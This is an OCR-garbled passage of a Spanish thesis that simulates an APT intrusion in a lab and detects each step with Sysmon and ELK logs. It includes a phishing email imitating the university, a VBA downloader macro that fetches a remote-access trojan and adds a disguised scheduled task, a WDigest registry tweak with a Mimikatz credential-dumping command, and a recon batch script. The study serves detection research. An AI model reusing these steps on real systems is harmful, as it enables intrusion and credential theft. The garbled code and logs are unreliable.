6 Controlador cargado Informacién sobre un controlador que se esta cargando en el sistema
7 Imagen cargada Informacién obtenida cuando se carga un médulo en un proceso especifico.
8 Creacién de un hilo Informacion obtenida al producirse la creacion de un hilo en un proceso desde otro proceso.
9 Acceso de lectura Cudndo un proceso realiza operaciones de lectura desde la unidad .
10 Proceso de acceso Informacién que se produce cuando un proceso accede a otro proceso.
11 Creacién de un archivo Informacién sobre las operaciones necesarias cuando se necesita crear un archivo.
12 Evento de registro(Creacién y borrado de objetos) Informacion sobre las operaciones de creacién y borrado de registros
13 Evento de registro(Renombre y cambiar valor) Informacion sobre las operaciones para cambiar el valor y renombrar un registro.
14 Cambio de nombre de clave y valor de un registro Informacién sobre la operacién de cambio de nombre y valor de un registro.
15 FileCreateStreamHash Registra el hash del contenido del archivo al que se asigna la secuencia.
16 Cambio en la configuracién de Sysmon Informacién sobre los cambios realizados en la configuraciéon de Sysmon.
17 Creacién de una tuberia Creacién de una tuberfa con un nombre.
18 Tuberia conectada Informacién de la conexién de la tuberia.
19 Filtrado de la Instrumentacién de Administraciéon Windows(WMI) Se produce un filtro de los eventos del WMI.
20 Se registra un consumidor en WMI Informacién del registro de un consumidor.
21 Se registra la unién de un consumidor y un filtro Se registra la unién de un consumidor y un filtro en WMI.
22 Consulta DNS Se registra la informacién de las consultas DNS.
23 Borrado de un archivo Informacion sobre el borrado de un archivo.
255 Error Ocurre un error en Sysmon.
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6.2.2. Winlogbeat

Uno de los agentes de Beats que permite enviar registros de los eventos de Windows a Elasticsearch o
Logstash. Winlogbeat lee registros empleando la API de Windows, segtn los criterios configurados por el
usuario, y finalmente los envia a la salida configurada. Una de las caracteristicas de Winlogbeat son los
procesadores, que permiten reducir el numero de campos del evento, filtrar y mejorar los datos de los
eventos, segun la accién que se le especifique.

Processors.

- add host metadata: ~

- add cloud metadata: ~

- drop event.when.not.or:
- equals.winlog.event id:
- equals.winlog.event id:
- equals.winlog.event id:
- equals.winlog.event id:

- equals.winlog.event id:
- equals.winlog.event id:

Figura 6.2: Ejemplo de procesador que elimina los eventos que no tenga los IDs de la imagén

6.2.3. Packetbeat

Uno de los agentes de Beats. Es un analizador del trafico de red en tiempo real que se emplea como
sistema de analisis de rendimiento y monitorizacion de aplicaciones. Packetbeat funciona capturando el
trafico de red entre los servidores de aplicaciones, decodificando los protocolos de capa de aplicacion y

registrando la informacién importante de las transacciones.

6.2.4. X-Pack

Es una extension de la pila Elastic que ofrece médulos de seguridad, alerta, monitorizacion, machine
learning y varios mas. Se encuentra instalado por defecto y para activarse requiere una suscripcién, aunque

ofrece una version gratuita de 30 dias.

6.3. Software empleado para el experimento
Para realizar el experimento se ha empleado el siguiente software:

» Mimikatz [29]: Es una herramienta de cédigo abierto desarrollada por Benjamin Delpy que
se emplea para post-explotacion; permite extraer contrasenas en texto plano, hashes y tickets de
Kerberos (protocolo de autenticacién) desde la memoria, por lo que se usa para obtener credenciales.

Los antivirus detectan la presencia de Mimikatz pero se puede usar para fines experimentales.

» APTSimulator [23]: Es un script de Windows Batch que usa un conjunto de herramientas para

simular que el sistema se encuentra comprometido.
» QuasarRAT [26]: Es una herramienta de administracién remota de cédigo abierto para Windows
rapida y ligera escrita en C# .
6.4. Desarrollo del experimento

En esta seccién se describird el experimento que se ha llevado a cabo, siendo el propdsito principal del

proyecto la realizacién de este y la deteccion de las amenazas. Usando el modelo de ciclo de vida de una
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APT de Mandiat(3.2) y llevandolo a cabo mediante las técnicas mostradas por MITRE ATT&CK,
se ha desarrollado un sistema que contiene la pila ELK que, mediante el uso de Kibana, nos permitiré
ver la informacién sobre las acciones del atacante y los indicadores de compromiso que se muestren en el

entorno.

6.4.1. Compromiso inicial

Empezaremos directamente en esta etapa inicial buscando acceder al sistema de la victima. Para ello
emplearemos la técnica de Spearphishing Link, que consiste en una vertiente de phishing que emplea
el uso de enlaces para descargar malware en un correo electrénico, en lugar de usar archivos adjuntos
para evitar las defensas. Normalmente estos enlaces van acompanados con un texto obtenido mediante
ingenieria social, que requiere que el usuario haga click para empezar la descarga.

El email empleado simula una noticia de la universidad y se envia a un usuario llamado tfgfrancisco2 a la

url maliciosa enmascarada como un enlace a un consejo de gobierno.

Universidad deValladolid

Queridos estudiantes de la Universidad de Valladolid:

Le comunico gue el préximo lunes, & de abril, a las 10:00 horas, se retine &l Consejo de Gobiemno para tratar las medidas que se aplicaran contra el COVID-19
Tiene a su disposicion la documentacion en el enlace: https://miportal.uva.es/0.comun/12.consejodegobierno/

Mensaje autorizado por: CENTRO VIRTUVA

Este mensaje puede contener informacion confidencial, sometida al secreto profesional, cuya divulgacion no esta permitida por la ley. Si usted no es su destina
proteccion de datos y el RGPD, consulte: proteccion de datos en la UVa. El emisor no garantiza la integridad, rapidez o seguridad del presente correo, ni se res
otras manipulaciones efectuadas por terceros. Piensa en verde: les en la pantalla. Si no ve comrectamente este mensaje: Ver en tu navegador.

Figura 6.3: Email

La URL permite que el usuario descargue un documento de Word habilitado para macros(.docm) que

contiene una macro que posibilita descargar el software que se utilizara.
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VISTA PROTEGIDA Tenga cuidado: los archivos de Intemet pueden contener virus, Si no tiene que editarlo, e mejor que siga en Vista protegida. Habilitar edicion

Junta de
Castillay Leon

MEDIDAS ADOPTADAS POR LAS UNIVERSIDADES PUBLICAS DE CASTILLA Y LEGN EN
(COORDINACION CON LA CONSEJERIA DE EDUCACION

L La autoridad sanitaria de Castilla y Leén ha acordado suspender la actividad
docente presencial universitaria. Para hacer efectivo el derecho a la
educacién, se refuerza el apoyo a las enseffanzas en modalidad online y a
distancia a través del uso de las plataformas virtuales de las universidades y

de otros canales existentes, adoptando medidas concretas de manera
descentralizada y siempre de forma coordinada por los equipos rectorales.

2 La autoridad sanitaria ha decretado el cierre generalizado de las residencias
universitarias salvo para aquellas alumnos que convivan con personas de
riesgo sanitario asf como aquellas otras personas que por causa de fuerza
mayor no puedan regresar a sus domicilios.

3. Las universidades puiblicas de Castillay Leén adoptaran de comtin acuerdo las
medidas necesarias para garantizar una actuacién coordinada y planificada a
nivel regional, en consonancia con las medidas preventivas y con las
recomendaciones adoptadas por la autoridad sanitaria, por el plazo de
vigencia de las mismas y sin perjuicio de su prérroga o modificacién si las
circunstancias o decisiones del Gobierno de Espafia y/o de la Junta de Castilla
¥ Lebn asi lo determinaran.

4 Se acuerda la suspension generalizada de las précticas curriculares y
extracurriculares en empresas y entidades con la excepcidn establecida enla
Orden SAN/295/2020, de 11 de marzo, de mantener las practicas docentes en
centros sanitarios y sociosanitarios de estudiantes de dltimo curso del Grado
en Medicina y en Enfermerfa previo consentimiento expreso por escrito.

Figura 6.4: Documento con Macro

Sub DescargaCliente()

Dim wHttp: Set xHEtp =
Dim bStrm: Set bStrm
Dim xHttp2: Set xHLtp2
Dim bStrm2: Set bStrm2
Dim user

Dim filepath

user = Environ ("HOMEPATH")

filepath = user & "\Documents\cliente.exe"

filepathAPT = user & "\Documents\APTGen.zip"

¥HTTp.Open "GET", "nttp://downloadlS23.mediafire.com/je3€ltacpvhg/vSydccqnhdpve7g/Client.exe”, False
xHttp.Send

CreateCbject ("Microsoft.XMLHTTE™)
CreateGbject ("Adodb. Strean”)
CreateObject ("Microsoft.XMLETTP")
CreateObject ("Adodb. Strean”)

With bStrm
«Type
.Open.
.write xHttp.responseBody
.savetofile filepath, 2 '//o

End With

XHTtp2.Cpen "GET", "http://download40.mediafire.com/vogvevx4rybg/09yv34xslwe3dym/APTSInUlator_pw_apt.zip”, False

xHttp2.Send

With bStrm2

.Write xHCTp2.IesponseBody
.savetofile filepathZPT, 2 '/

End With

Shell ("SCHTASKS /CREATE /SC MINUTE /mo 10 /TN ""Office update"" /TR ""

Shell (filepath)

ECMEFATHE\Documents\cliente. exe""")

End Sub

Figura 6.5: Macro del documento

Una vez activadas las macros se lanzardn dos peticiones a un repositorio de Mediafire que descargaran
el cliente de Quasar y el APTSimulator. También preparard una tarea programada que lanzara el cliente
y lo ejecutard desde una shell invocada mediante VBA.

Los eventos detectados el sistema seran los siguientes:

1. Se abrié la aplicacién de Outlook para consultar el correo.
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t event.kind event

t event.madule SYSmon

t event.provider Microsoft-Windows -Sysmon

t Event.type process_start

t host.architecture xB6_64

t host.hostname tfg-vads-francisce

t host.id baadetad-f22c-43d3-957e-c91 8Fb612F5d

t host.name tfg-vadé-francisco. infor.uva.es

t host.os.build 1B363.778

t host.os, family windows

t host,os. kernel 18.8.18362.778 (WinBuild.16@181.8368)

t host.os.name Windows 18 Pro

t host.oz. platform windows

t host.os, version 18.8

t log.level informacion

t Pprocess.args C:vProgram Files\Microsoft OFfficedroot\0ffice16\0UTLOOK.EXE
t process.entity_id {baadetdd-cbfo-5e9d-0000-8818T6cH9887 |

t process.executable C:\Program Files\Microgoft Office\root\officel&\OUTLOOK.EXE
I Process.name OUTLOOK . EXE

f process,parent.args C:yAindows'\Explorer.EXE

Figura 6.6: Apertura de la aplicacién de Outlook

2. Se realiza la descarga del documento Word que se encuentra en Mediafile.

process . args C:\Windows\systendl\browsar_broker,exe, -I0AWHost, 2781761a-28e8-4100-09Fe-b9d127ci7afe | C\Wsers francisco\Domnloads ' MEDT DAS-UNIVERSIDADES -PUBLICAS-COVID-
pbt5ab3wa] f4 MEDIDAS -UNIVERS IDADES - FUBL ICAS -COVID=-19. docm

process.entity_id {baadedfd-cTAR-5e0d-0008-0810EbaedbaT )

process. executable C:wWindews\Systend2\browser_broker . exe

process.names browser_broker exe

process.parent.args Cowwindews\systendl\browser_broker.exe, -Embedding

process.parent.entity_1d {baadedBd-c6f4-5e0d-a006-08105 57087 )

process.parent.executable Coywindows\Systend2\browser_broker.exe

process.parent.name browser_broker .exe

process.parent.pid 18,492

process.pid 6,312

process.werking directory Crywindows\systendi)

uzer.name francizco

winleg.apl wineventlog

winleg .channel Micrazoft-Windows- Sysmon/Operational

winleg . computer_name tfg-vaBb-francisen_infor.uva.es

winleg . event_data.Company Hicrozoft Corporation

winlog .event_data.Description Browser_Broker

Figura 6.7: Descarga del documento word

3. Se crea el archivo descargado en el sistema.
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~ % m m m m mm = [ =

descripeion_1id
ecs _version

A G
awvant, code
avent.created
avent,kind
avent.module
event. provider
file.path

host . architecture
host . hostnama
hest.id
host.name
host.os.build

host.os. famly

File Create

1.4.8

File created (rula; Fuilelreate)

mn

Apr 28, ZB28 ¢ 16:80:84.844

EVEnt

Sy Smon

Microsoft-Windows-Sysmon

C:yUzers francisco’\Downloads~5DIDAS-UNTYERSIDADES- PUBLICAS -COVID-19 . docm
x86_64

tfg-vale-francisco
baadacBd-f22c-4343-997e-c91EFbaT12f5d
tfg-vaB6-francisco.infor.uva. es
18363.77R

windows

Figura 6.8: Creacién del documento

4. Se realiza la apertura del documento con Microsoft Word(Winword.exe).

log.level

process,args
process.entity_id
process.executable
process.name
process.parent.args
process.parent.entity_id
process.parent.executable
process.parent .name
process.parent.pid
process.pid
process.working directory
tags

process.name
process.parent.args
process.parent.entity id
process.parent.executable

process.parent.name

5. La macro del documento descarga el cliente de Quasar y el APTSimulator mediante una shell.

informacidn

C:\Program Files\Microsoft Office\Root\0ffice16\WINWORD.EXE, /n, C:\Users\francisco\Downloads\MEDIDAS-UNIVERSIDADES-PUBLICAS-COVID-19.docm, /o,
{baadesnd-c782-520d-0006-0610832cab0T)

C:\Program Files\Microsoft Office\root\0fficel6\WINNORD.EXE
WINWORD.EXE

C:\Windows\Explorer.EXE
{baade6p4-6d79-5e9c-0008-001000872105}
C:\Windows\explorer.exe

explorer.exe

6,176

5,372

C:\Windows\system32\

beat, beats_input_codec_plain_applied

WINWORD.EXE

C:\Windows\Explorer .EXE
{baade6B4-6d79-5e9c-0000-001000872105}
C:\Windows\explorer.exe

explarer.exe

Figura 6.9: Apertura del documento word
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descripcion_id
ecs.version
event,action
event . code
event.created
event . kind
event.module
event . provider
file.path
host.architecture
hast . hostname
host.id
host . name
host.os.build
host.os. family
host.os.kernel
host.os.name
host.os.platform
host, 08, version
log.level
process.entity_id
process.executable

process . name

File Create

1.4.8

File created (rule: FileCreate)

n

Apr 28, 2626 & 16:88:32.166

event

SysSmon

Hicrosoft-Windows-Sysmon
C:\Ugers\francisco\AppData\Roaming\SubDiriClient, exe
xB6_o4

tfg-vaB6-francisco
baadeb04-f22c-43d3-997e-c918fb61275d
tfg-vaB6-francisco.infor .uva.es
18363.778

windows

10.0.18362.778 (WinBuild.168101.2880)
Windows 18 Pro

windows

18.8

informacidn
{baadetad-c71a-529d-0008-28100d039e07 }
C:\usersifrancisco\Documentsicliente.exe

cliente.exe

Figura 6.10: Descarga cliente Quasar
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process.
process.
process.
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tags

File created (rule: FileCreate)

1

Apr 28, 2008 & 20:03:89.236

avent

SYEmON

Wicrosoft-Windows-Sysmon

C:\Users\ francisco\Documents\AFTGen. 2ip
baadepdd-T22c-43d3-997e-c 218 DOT2T 5
tfg-vag6-francisco.infor . uva.es
18363.778

windows

18.8.18362.778 (WinBuild.168121.880@)
Windows 18 Fro

windows

18.8

informacidn
{baadetld-cTO2-520d-2200-2281083ec0baT }
C:WProgram Files\Microsoft Office\Root\0fficel6 \WINWORD .EXE

WINWORD.EXE

Figura 6.11: Descarga del APTSimulator

Se realiza la ejecucién del cliente en la que se observa la ejecucion del ejecutable, como se enlaza a

un puerto, como se produce la conexion del cliente.

args
entity
execut
name

parent

parent

parent.
parent.

parent.

pid

workin

1d
able

.args
.entaty_id
executable

name

pid

g_directory

process. parent . name

C:wUserst francisco\Documentsicliente.exe
{baade6Bd-cT1a-5e0d-0086-001 8940039287

CowUserst francisco\Documents\cliente.exe

cliente.exe

G:wProgram Files\Microsoft Office\Root\0fficel6\WINWORD.EXE, /n, C:‘Users\francisco\Downloads\MEDIDAS-UNIYERSIDADES-PUBLICAS-COVID-19.docm, /o
{baadesnd-cTE2-5e0d-0086-081933ecIbaT}

C:vProgram Files\Microsoft Office\root\0ffice16\WINWORD EXE
WINWORD , EXE

5,372

8,816

C:\Windows\system32y

beat, beats_input_codec_plain_spplied

WINNORD.EXE

Figura 6.12: Ejecucién del cliente

53



t descripecion_id The Windows Filtering Platform has permitted a bind to a local port

t ecs.version 1.4.8
t event.action Filtering Platform Connection
# event.code 5,158
B event.created Apr 20, 2020 @ 16:00:35.987
¢t event, kind event
t event.provider Microsoft-Windows-Security-Auditing
t host.architecture x86_64
t host.hostname tfg-vaB6-francisco
t host.id baade684-f22c-43d3-997e-c918fb612f5d
t message v La Plataforma de filtrado de Windows permitié un enlace con un puerto local.

Informacidn de aplicacion:
Id. de proceso: 9816
Nombre de aplicacion:  \device\harddiskvolume2\users\francisco‘\appdata‘roaming\subdiriclient.exe

Informacion de red:

Direccion de origen: 0.0.6.0
Puerto de origen: 61515
Protocolo: 6

Informacién de filtro:

Id. de tiempo de ejecucion de filtro: g
Nombre de nivel: Asignacion de recursos
Id. de tiempo de ejecucion de nivel: 36

Figura 6.13: Enlace del cliente
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event.action
event.code
event.created
event.kind
event.module

event.provider

host.architecture
host . hostname
host . 1d

host . neme
host.os.build
host.os. family
host . o%. kernal
host.os.name
host.os.platform
host .os.version
log.level
network.community_id
network.direction
network. transport
network. type
process.entity_id
process.executable

process. name

Metwork connectilon detected (rule: MetworkConnect)
a

Apr 28, 2028 @ 16:88:38.262

event

Sy Eman

HicrosofT-Windows-Sysmon

xB6_54

tfg-vabb-francisco
baadesnd-f22e-43d3-997e-c918fb612f5d
t1fg-vads-francisco.infor .uva.es
18363.778

windows

18.8.18362.778 (WinBuild.168181.0888)
Windows 18 Pro

windows

8.8

informacion

1 :ydastjFOINQu2B0aPLhtCukgHOk=
outbound

p

ipwd

{baadecBd-cT1e-5a9d-0600-00187 7309267}

C:yUsers\francisco\AppData\Roaming\SubDar\Client.exe

Client.exe

Figura 6.14: Conexién del cliente
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t _index packetbeat-2626.84.28

3]

t _type _doc
t agent.ephemeral_id 9e1ed48f8-e5d7-4af8-9db6-beedf53efc54
t agent,host . tfg-vad6-francisco

t a t.id B85f1clee-ef2b-4619-9c@a-c239289b0953

¢ agent.tvpe packetbeat
t agent.version 7.6.8

t client.ip 18.124.5.17
# client.port 61,516

t destination.ip 18.124.5.18
a d i) i pot 4,782

i ¢ .4.8

t ¢ t.cate Y network_traffic

t event.dataset tls
# event.duration 48,194 066

i event.end Apr 28, 2628 € 16:88:37.731
t event.kinc event

Figura 6.15: Conexion del cliente desde Packetbeat

No solo se emplean técnicas de acceso inicial, ya que la ejecucion de los diferentes comandos mediante la
macro permite cubrir algunas técnicas propias de ejecucion y persistencia.
Las técnicas de MITRE ATTCK que se han cubierto al realizar este apartado son:

Acceso inicial
Nombre de la técnica ID de la técnica
Spearphishing Link T1192
Ejecucién
Nombre de la técnica ID de la técnica
Command-Line Interface T1059
PowerShell T1086
Scripting T1064

Tabla 6.2: Técnicas empleadas en Compromiso Inicial

6.4.2. Establecer un punto de apoyo

En esta fase se busca establecer persistencia para asegurar que el atacante puede acceder al sistema
de la victima incluso si el sistema se reinicia. Para ello se empleara la técnica de creacién de tareas
programadas que consiste en la creacién de una tarea programada que permita que el malware se siga
ejecutando periédicamente en el sistema. Este método es utilizado por los Remote Access Trojan. En este
caso, se empleara para que el cliente de Quasar descargado previamente se ejecute de forma periédica en
el sistema; para ello se cred una tarea programada que se ejecutard cada 10 minutos mediante la macro de

Word mostrada anteriormente.
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Los eventos detectados seran los siguientes:

1. Se detecta la creacion de una tarea: en este caso hay dos fuentes que informan

tarea. El evento 106, que pertenece al planificador de tareas y el evento 4698.

Tarea registrada

186

May 18, 2620 € 19:57:03.855
t event.kind event

Microsoft-Windows-TaskScheduler

t host.architecture x86_64

t host.hostname tfg-vad6-francisco

t st.id baade604-f22c-43d3-997e-c918fb6125d
t t.name tfg-vaBé-francisco.infor.uva.es

t host.os.build 18363836

t host.os.family windows

tags beat, beats_input_codec_plain_applied

winlog.api wineventlog

channel

winlog.computer_name

tfg-vag6-francisco.infor.uva.es

vent_data. TaskName \office update

g.event_data.

TFG-VAB6-FRANCI\francisco

vent_id 106

El usuario "TFG-VABE-FRANCI\francisco™ registro la tarea "\0ffice update" en el Programador de tareas

Microsoft-Windows-TaskScheduler/Operational

Figura 6.16: Creacién de la tarea evento programada 106

informecion
 Se cre¢ una tares progranads.

sujeto:
1d. de seguridad
Nobre de cuenta
Dominlg de cuenta:

1d. de inicio de sesion:

Informecion de tarea:
Nonbre de tarea:

Contenido de tarea:

<Task wersion="1.2" xmlns="http://schemas .microsoft.con/windows /2684

<Reg s
~Dates2620-85-18T21:57
<AUthor=TFG- VABE - FRANC
<URT=\0FFice updates/URT~

=/RegistrationInfos

<Triggers
«Tumel rigger=

<Repetitions
<IntervalaPT1Me Tnterva

5-1-5-21-2666235127-896005654- 2014657616~ 1062
francisco
TFG-¥AgG-FRANCL

3xB5083

\Office update
<Pyl version="1.8" encodings

2 [Dates
franciscos/Author=

=5tophtburationtnd=falses /Stophtiurationknd>

</Repetitions

«<Star tBoundary»>2828-85-18T21 :57 ;8@ /StartBoundary=

<Enabled>true=/Enabled=
< TineTriggers
fTriggers=
tings=
Hultipl
-DisallowstartIfonBatterie

<StopLfeolngonBatterlessTrues/

liey»TgnoreNews Multiplel s

licy>
(nBatteriess
1e3=

<AllowHardTerninate-true</AllowHardTermin;
<5tarthhenivailablesfalse- /Startwhenivailadles
<RUNON1yIfNetuorkavallablesTalses/RUnOnlyIfNeTworkavallable=

<IdleSettings>
«Duration=FT 188 /Duration=
<WaitTimeout=PT1He
«5topOnldleEnd=true=/

Tineaut>
StopOnldletnd-

Figura 6.17: Creacién de la tarea programada evento 4698

de la creacién de la

2. Se detecta la ejecucién de la tarea programada mediante el evento 129 del planificador de tareas.
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o descrig i Ejecucién de una tarea
t ecs.versi 1.4.8

de tarea creado

Hay 18, 2020 & 20:35:43.629
t event.kind event

t event.p er Hicrosoft-Windows-TaskScheduler

¢ hos kernel 19.8.18362.836 (WinBuild.160101.0800
t host.os.name Windows 18 Pro

¢ hos latf windoms

t host.os.version LX)

¢ log.level informacion

t message El Programador de tareas inicid la tarea "\Office update”, instancia "\Users\francisco\Documents\cliente.exe” con el id. de proceso 10988.

s.input_codec_plain_applied

Ft-Windows-Taskscheduler /operational

nams tfg-vagé-francisco.infor.uva.es

Path Users\francisco\Documents|cliente exe

Figura 6.18: Ejecucién de la tarea programada

Las técnicas de MITRE ATT&CK que se han cubierto al realizar este apartado son:

Persistencia

Nombre de la técnica ID de la técnica
Scheduled Task T1053

Tabla 6.3: Técnicas empleadas en establecer un punto de apoyo

6.4.3. Escalar privilegios

En este apartado se usara Mimikatz para acceder a las credenciales de los usuarios; para ello se
emplearan técnicas de credencial dumping, escalada de privilegios y hooking.
Credencial dumping consiste en obtener informacién de las cuentas y contrasenias de los usuarios.
La explotacion para escalar privilegios se debe a que se emplea un fallo de programacién de un programa
o sistema operativo para conseguir los privilegios requeridos.
El hooking consiste en capturar las llamadas a la API que incluyen pardmetros que revelan informacién
de las credenciales del usuario.
En este caso obtendremos la informacién de las cuentas del proceso de Lsass(Local Security Authority
Subsystem Service) que se encuentra en memoria y que contiene las credenciales en texto plano, una vez que
un usuario ha iniciado sesion. Cabe destacar que desde la version 8.1 de Windows y Windows Server 2012
se cambi6 la politica de seguridad para evitar que Lsass guardase las credenciales en texto plano, por lo
que se modificaran las politicas de seguridad para que se puedan seguir leyendo en texto plano. Para ello se
ha de ir a HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest y
crear un nuevo DWORD con valor 1 llamado UseLogonCredential.
Para conseguir estas credenciales con Mimikatz utilizaremos el siguiente comando
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit.

Un ejemplo del resultado del comando es:
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000eE060 : 088b60

[eeoa8083 ]
Username
Domain

Password

dman

tion Id

Domain
P or

Password

credman

Figura 6.19: Ejemplo de resultado del comando

Los eventos que se obtienen son los siguientes:

1. Se detecta la llamada a Mimikatz desde cmd

Apr 21, 2620 & 13:47:18.658

eve informacion

nimikatz

{basdes

C:\Windows\system32'\cnd. exe
{basdebnd-fhbe-520=-pA0A-AE1832805700)
C:\Windows\System32'\cnd. exe

e, exe

Figura 6.20: Llamada a Mimikatz desde cmd



2. Acceso a Lsass.exe desde Mimikatz con el permiso 0x1010 que es la combinacién de anadir al permiso
0x1000(QueryLimitedInformation) y el permiso 0x0010(VMRead). Esto se detecta mediante el

evento 10 de Sysmon.

¢ message v
Process accessed:
RuleNane
UtcTime: 2026-64-21 13:47:16.409
SourceProcessGUID: {baade6ed-fa64-5ee-0000-001009408208}
SourceProcessId: 2368
SourceThreadId: 3928
SourceImage: C:\Users\francisco\Downloads\minikatz_trunk\x64\minikatz.exe
TargetProcessGUID: {baade6ed-fade-5e0e-0000-00103b680000}
TargetProcessId: 716
TargetInage: C:\Windows\systen3z\lsass.exe
GrantedAccess : 6x1819
CallTrace: C:\Windows\SYSTEW32\ntd11.d11+3c534|C:\Windows\Systen32\KERNELBASE .d11+2726 |C:\Users\francisco\Downloads\minikatz_trunk\x6d\minikatz.exeth
715e|C:\Users\francisco\Downloads\mimikatz_trunk\x64\mimikatz. exe+b7521| C:\Users\ francisco\ Downloads\mimikatz_trunk\x64\minikatz .exe+b769d| C:\Users\fr
ancisco\Downloads \mimikatz_trunk\x64\mimikatz, exe+84820|C: \Users\ francisco\Downloads\mimikatz_trunk\x64\minikatz. exe+83eds|C :\Users\ francisco\Download
s\minikatz_trunk\x64\minikatz.exet83c23|C:\Users\francisco\Downloads\ninikatz_trunk\x64\ninikatz.exe+bdb@d|C:\Windows\Systen32\KERNELS2 . DLL+17bd4|C:\W
indows\SYSTEN32\ntd11.d11+6ces]

{baade684-964-529e-0000-001009405200}

C:\Users\ francisco\Downloads \nimikatz_trunk\x6d\mimikatz. exe
mimikatz.exe

2,368

3028

beat, beats_input_codec_plain_applied
¢ winlog.api wineventlog

Microsoft-Windows-Sysnon/Operational

¢ winlog _nane tfg-vass-francisco.infor .uva.es

Figura 6.21: Acceso a Lssas.exe desde Mimikatz

3. Finalmente se detecta el final del proceso de Mimikatz mediante el evento 5 de Sysmon.

tfg-vag6-francisco.infor.uva.es
18363.778

windows

10.8.18362.778 (WinBuild.160101.8808)
Windows 1@ Pro

windows

10.8

informacion

Process terminated
RuleName
UtcTime: 2020-84-21 13:47:16.459
Process6uid: {baa4e6@4-T964-5e9e-0080-001009408268 )
essId: 2368
Tnage: C:\Users\francisco\Donnloads\mimikatz_trunk\xs4\minikatz.exe

ntity_id {baadesa4-Fa64- 5e9e-0000-061869485260}

C:\Users\francisco\Downloads\mintkatz_trunk\x64\nimikatz .exe
ninikatz.exe

2,362

beat, beats_input_codec_plain_applied

wineventlog

Microsoft-Windows-Sysmon/Operational

tfg-vage-francisco. infor.uva.es

Figura 6.22: Final de proceso de Mimikatz

Las técnicas de MITRE ATT&CK que se han cubierto al realizar este apartado son:

Escalada de privilegios
Nombre de la técnica ID de la técnica
Exploitation for Privilege Es- | T1068
calation
Hooking T1179
Acceso de credenciales

Nombre de la técnica ID de la técnica
Credential Dumping T1003

Tabla 6.4: Técnicas empleadas en Escalar privilegios

6.4.4. Reconocimiento interno

En esta fase se busca recoger informacion interna sobre el entorno de la victima que se empleara para

moverse lateralmente por el entorno de la victima o conocer donde se puede encontrar los privilegios
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necesarios para cumplir el objetivo del ataque. Para ello se utilizaran comandos propios de sistema
operativo del sistema. El APTSimulator contiene archivos Batch que facilitaran la recoleccién de la

informacién mediante los siguientes comandos:

= Whoami : Muestra el nombre de usuario del usuario que lo invoco.

= systeminfo : Muestra informacién sobre el sistema.

= net localgroup : Permite gestionar un grupo de usuarios.

» wmic gfe list full : Comando que pertenece a la Instrumentaciéon de Administracién de Windows(WMI)

cuya funcionalidad consiste en listar todas las instalaciones de software y actualizaciones del equipo.

= wmic share get : Muestra informacién sobre los recursos compartidos.

= net user : Muestra las cuentas de usuario del sistema.

» net groups : Muestra todos los grupos del sistema(Aunque en este caso no funcionaré debido a que

solo funciona hasta Windows 8).

» tasklist /v : Muestra una lista de los procesos que se estdn ejecutando en el sistema.

» tree /v : Muestra la estructura de directorios de una ruta o del disco.

= net accunts : Expone la configuracion por defecto de las politicas de contrasenias y cuentas.

El archivo que permite recoger la informacion es el siguiente.

ECHO RECON ACTIVITY

ECHO Executes commands thal are gffen used by attackers Io get infarmation
ping -n 5 127.8.8.1 > NUL

whoami, > "#APTDIRX\sys.txt”
systeminfo »> "XAPTDIR¥\sys.txt"
net localeroup administrators »> "%APTDIRE\sys.txt”

wmic qfe list full >> "%APTDIR¥%\sys.txt”
wmic share get >> "XAPTDIR%\sys.txt"

net yser >> "ZAPTDIRX\sys.txt”
net group >» "XAPTDIRM\sys.txt”

tasklist /v >> "EAPTDIR%\sys.txt"
tree /v »> "RAPTDIR¥\sys.txt"
net gccounts >> "MAPTDIRX\sys.txt

Figura 6.23: Archivo Batch

Los eventos recogidos seran:

1. Creacién del archivo sys.txt.
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-

2. Ejecucion de whoami.

-

descripcion_id File Create

ecs.version 1.4.8

event.action File created (rule: FileCreate)
event. code n

event.created Apr 22, 2828 & 11:15:86.217

event. kind event

event.module SYSmon

event.provider Microsoft-Windows-Sysnon

file.path C:\THPYsys . IXT

host.name tfg-vads-francisce.infor .uva.es
host.os.build 18363.778

host.os. family windows

host.os.kernel 18.8.18362.778 (WinBuild.168181.8888)
host _.os.name Windows 18 Pro

host_os.platform windows

host._os. version 18.8

log.level informacién

process.entity_id {baadetid-1338- Sead-0008- 007 Bcdd3aed |
process.executable C:\Windows\systemiZicmd . exe

Figura 6.24

descripeion_id
ecs.version
event.action
event.category
event.code
event.created
event.kind
event.module
event . provider
event. type
host.name
host.os.build
host.os.family
host.os.kernel
host.os.name
host.os.platform
host.os.version
log.level
process.args
process.entity_id
process.executable
process.name

process.parent.args

Creacion de sys.txt

Process creation

1.4.2

Process Create (rule: ProcessCreate)
process

1

Apr 22, 2820 @ 11:15:06.230

event

sysmon

Microsoft-Windows- Sysmon
process_start
tfg-val6-francisco.infor.uva.es
18363.778

windows

19.9.78362.778 (WinBuild.162187.0888)
Windows 18 Pro

windows

10.8

informacion

whoami
{baadenB4-2738-50a0-BOBA-RE1E8] 4823081 }
C:\Windows\System32\whoami .exe
whoami . exe

C:\Windows\system32\cmd. exe

Figura 6.25: Ejecucién de whoami

3. Ejecucién de systeminfo.



t descripcion_id

t ecs. version

avent, action

event. category

event . code

-

[ avent,created

event. kind

avent module

avent, provider
event. type

t host.name

t host il
t host.es.famly
t host.es_kernel

t host

name

t host.os.platform
t host.es.version
t leg.level

t Process.args

i process.entity_1d

t prox

t Pprocess.name

process.parent.args

Figura 6.26:

4. Ejecucién de net localgroup.

-

-

-

-

-

-

-

-

-

-

-

-

-

event._action
event.categery
event.code
event .created
event _kind
event.module
event.provider

event.type

ka5t .name

sild

amily

host .cs.kernel
host.os. name
host.os.platform
host .05, version
1og. leval

procesa.entity_id
process. executahle
process.name
process.parent.args
praocess.parent .entaity_id

prac

Process creation

1.4.8

Process Create (rule! FrocessCreate)
pracess

i

Apr 22, 2628 @ 11:15:96.238

event

Sy EACn

Wicrosofr-Nindows-Syamon

tig-vaBb-francisco. infor.uva.es
18363, 778

windows

18.8.18362 .77 (WinBuild.168981.8868)
mindows 18 Fro

windows

18.8

informacion

systeninfo
{haadetf4-2738-50af - B0BA-PE1 BTABF2bE }
CruNindows \System3zy systemintfo . exe
systeninto.ene

C:iNindows\system32icnd, ene

Ejecucién de systeminfo

Process Create (rule: ProcessCroate)
process

1

Apr 22 2828 B 11:15:09.268

event

Sysmon

Microsoft-Windows-Sysman
process_start
tfg-vad6-francisco.1nfor.uva.es
18363. 776

windows

10.9.18362 . 778 (WinBuild.1608787.8888)
Windows 18 Pro

windows

18.8

informacion

